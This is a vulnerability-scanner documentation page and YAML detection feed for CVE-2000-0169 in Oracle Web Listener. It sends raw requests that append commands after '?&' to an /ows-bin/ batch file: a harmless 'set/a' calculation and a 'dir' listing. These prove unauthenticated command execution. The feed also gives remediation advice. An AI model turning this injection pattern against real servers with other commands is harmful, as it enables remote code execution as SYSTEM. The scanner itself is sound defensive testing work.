Oracle Web Listener — 1 vulnerability check
noctis ships 1 vulnerability check for Oracle Web Listener, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Oracle Web Listener ows-bin batch file command execution
| CVE | CVE-2000-0169 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/oracle-web-listener/CVE-2000-0169.yaml |
Detects the command execution flaw of the Oracle Web Listener for Windows NT (Oracle Application Server) (CVE-2000-0169): the batch files it serves as CGI programs from /ows-bin/ pass the query string to cmd.exe, so a URL ending in "?&<command>" runs that command on the server, as SYSTEM and without authentication. The test requests /ows-bin/perlidlc.bat?&set/a0x<H> with a random hexadecimal number H; its decimal value, computed by cmd.exe, in the reply proves that the command ran. Nothing is written or changed on the server. When no value comes back, it requests /ows-bin/perlidlc.bat?&dir and reports the flaw at a lower confidence if the reply carries the "ows-bin:" directory listing text that the plain batch file does not return.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /ows-bin/perlidlc.bat?&set/a{{p.hex}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
verdictfor^PRODUCT_RETURNED$→ finding QoD 97: Oracle Web Listener runs commands through /ows-bin/ batch files — CVE-2000-0169 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /ows-bin/perlidlc.bat?&dir HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /ows-bin/perlidlc.bat HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
dverdictfor^DIR_LISTED$→ finding QoD 75: Oracle Web Listener runs commands through /ows-bin/ batch files — CVE-2000-0169
References:
- https://nvd.nist.gov/vuln/detail/CVE-2000-0169
- http://www.securityfocus.com/bid/1053
- https://www.exploit-db.com/exploits/19809
- http://archives.neohapsis.com/archives/ntbugtraq/2000-q1/0211.html
Feed source — tests/vulnerabilities/oracle-web-listener/CVE-2000-0169.yaml
# Oracle Web Listener (Oracle Application Server for NT) — the batch files of
# /ows-bin/ run any command appended to their URL after "?&" (CVE-2000-0169,
# Cerberus Security Team, NTBugtraq 2000-03-15, BID 1053, EDB-19809).
#
# Credit: request shape adapted from Greenbone's `pre2008/ows_bin_cgi.nasl`
# (GPL-2.0-only), which checks that /ows-bin/perlidlc.bat exists, requests
# /ows-bin/perlidlc.bat?&dir and looks for "ows-bin:" in the reply.
#
# Advisory facts: the listener runs the .bat CGI programs of /ows-bin/ through
# cmd.exe with the query string on the command line, so "&" starts a second
# command, run as SYSTEM; its output is returned in the page.
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The feed makes cmd.exe run
# set/a0x<H>
# with H a random 7-digit hexadecimal number chosen per scan: cmd.exe prints
# its decimal value and nothing is written or changed. That number never
# appears in the request, so a server that reflects the URL cannot produce it
# (QoD 97). The command needs no space, quote, "=", "+", "*" or
# percent-encoding (the listener expands "*" in the URL, CGI splits a query
# without "=" on "+"), so it reaches cmd.exe whatever the listener does with
# the query string.
#
# Fallback (QoD 75): in case cmd.exe prints no set/a result (it prints none
# when a command runs inside a batch file rather than on its command line).
# Where the reference check's "ows-bin:" text appears in the real reply is
# not documented, so this branch is kept as the reference had it. Then the
# reference request (?&dir) is sent and "ows-bin:" must appear in its reply
# while the plain batch file (no query string, the reference's existence
# check) answers without it — so a page that always carries the text is not
# reported.
#
# Better than the reference check:
# - the main proof is a value computed by the target (hex to decimal), not a fixed string;
# - the dir fallback has a control request (the reference reports any page
# that contains "ows-bin:");
# - no page content reaches the finding (fixed verdict strings).
uid: be6b5a65-5279-4091-8ee9-222cd8112a39
name: "Oracle Web Listener ows-bin batch file command execution (CVE-2000-0169)"
description: |
Detects the command execution flaw of the Oracle Web Listener for Windows NT
(Oracle Application Server) (CVE-2000-0169): the batch files it serves as CGI
programs from /ows-bin/ pass the query string to cmd.exe, so a URL ending in
"?&<command>" runs that command on the server, as SYSTEM and without
authentication. The test requests /ows-bin/perlidlc.bat?&set/a0x<H> with a
random hexadecimal number H; its decimal value, computed by cmd.exe, in the
reply proves that the command ran. Nothing is written or changed on the server. When no
value comes back, it requests /ows-bin/perlidlc.bat?&dir and reports the
flaw at a lower confidence if the reply carries the "ows-bin:" directory
listing text that the plain batch file does not return.
cves: [CVE-2000-0169]
cvss: 7.5 # NVD has only a CVSS v2 score (7.5), no v3.x
severity: high
category: rce
confidence_base: 0.20
tags: [oracle, oracle-web-listener, oracle-application-server, ows-bin, command-injection, rce, windows, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2000-0169"
- "http://www.securityfocus.com/bid/1053"
- "https://www.exploit-db.com/exploits/19809"
- "http://archives.neohapsis.com/archives/ntbugtraq/2000-q1/0211.html"
steps:
# Random 7-digit hex number; its decimal value is what cmd.exe must print.
- id: mint
action: script
store_as: p
code: |
let n = rand_int(16777216, 268435455);
#{ hex: hex(n), prod: "" + n }
# Pre-initialised so a failed connection leaves no undefined variable behind.
- id: init-probe
action: set_var
var_name: probe
var_value: {connected: false}
- id: init-dir
action: set_var
var_name: dirp
var_value: {connected: false}
- id: init-control
action: set_var
var_name: control
var_value: {connected: false}
# 1 — computed proof (hex to decimal). Sent verbatim: an HTTP client could rewrite the
# query string.
- id: run-set-a
action: tcp_connect
port: "{{port}}"
send: "GET /ows-bin/perlidlc.bat?&set/a{{p.hex}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: probe
- id: product-check
action: script
store_as: hit
code: |
type_of(probe.banner) == "string"
&& probe.banner.starts_with("HTTP/")
&& ereg("(^|[^0-9])" + p.prod + "([^0-9]|$)", probe.banner)
- id: product-verdict
action: script
store_as: verdict
code: 'if hit { "PRODUCT_RETURNED" } else { "" }'
- id: command-executed
action: match
source: verdict
pattern: '^PRODUCT_RETURNED$'
on_match:
finding:
title: "Oracle Web Listener runs commands through /ows-bin/ batch files — CVE-2000-0169"
description: "GET /ows-bin/perlidlc.bat?&set/a{{p.hex}} returned {{p.prod}}, the decimal value of {{p.hex}} computed by cmd.exe on the server: the command appended after \"?&\" was executed. Any unauthenticated user can run commands as SYSTEM through any batch file of /ows-bin/ (CVE-2000-0169)."
remediation: "Remove the batch files (.bat, .cmd) from the /ows-bin/ directory or unmap that CGI directory in the Oracle Web Listener configuration, and apply the Oracle patch for the listener. Do not expose the listener to untrusted networks."
confidence_delta: 0.75
qod: 97
evidence: "GET /ows-bin/perlidlc.bat?&set/a{{p.hex}} returned {{p.prod}} (decimal value of {{p.hex}})"
stop: true
# 2 — fallback: the reference request, with a control.
- id: run-dir
action: tcp_connect
port: "{{port}}"
condition: "hit == false"
send: "GET /ows-bin/perlidlc.bat?&dir HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: dirp
- id: run-control
action: tcp_connect
port: "{{port}}"
condition: "hit == false && type_of(dirp.banner) == \"string\" && dirp.banner.contains(\"ows-bin:\")"
send: "GET /ows-bin/perlidlc.bat HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: control
- id: dir-verdict
action: script
store_as: dverdict
code: |
let listed = type_of(dirp.banner) == "string" && dirp.banner.starts_with("HTTP/") && dirp.banner.contains("ows-bin:");
let ctl_ok = type_of(control.banner) == "string"
&& ereg("^HTTP/1\\.[01] 2[0-9][0-9]", control.banner)
&& !control.banner.contains("ows-bin:");
if !hit && listed && ctl_ok { "DIR_LISTED" } else { "" }
- id: dir-executed
action: match
source: dverdict
pattern: '^DIR_LISTED$'
on_match:
finding:
title: "Oracle Web Listener runs commands through /ows-bin/ batch files — CVE-2000-0169"
description: "GET /ows-bin/perlidlc.bat?&dir returned the \"ows-bin:\" directory listing text, which GET /ows-bin/perlidlc.bat alone does not return: the dir command appended after \"?&\" was executed. Any unauthenticated user can run commands as SYSTEM through any batch file of /ows-bin/ (CVE-2000-0169)."
remediation: "Remove the batch files (.bat, .cmd) from the /ows-bin/ directory or unmap that CGI directory in the Oracle Web Listener configuration, and apply the Oracle patch for the listener. Do not expose the listener to untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /ows-bin/perlidlc.bat?&dir returned the \"ows-bin:\" listing text; GET /ows-bin/perlidlc.bat without the injected command did not"
stop: true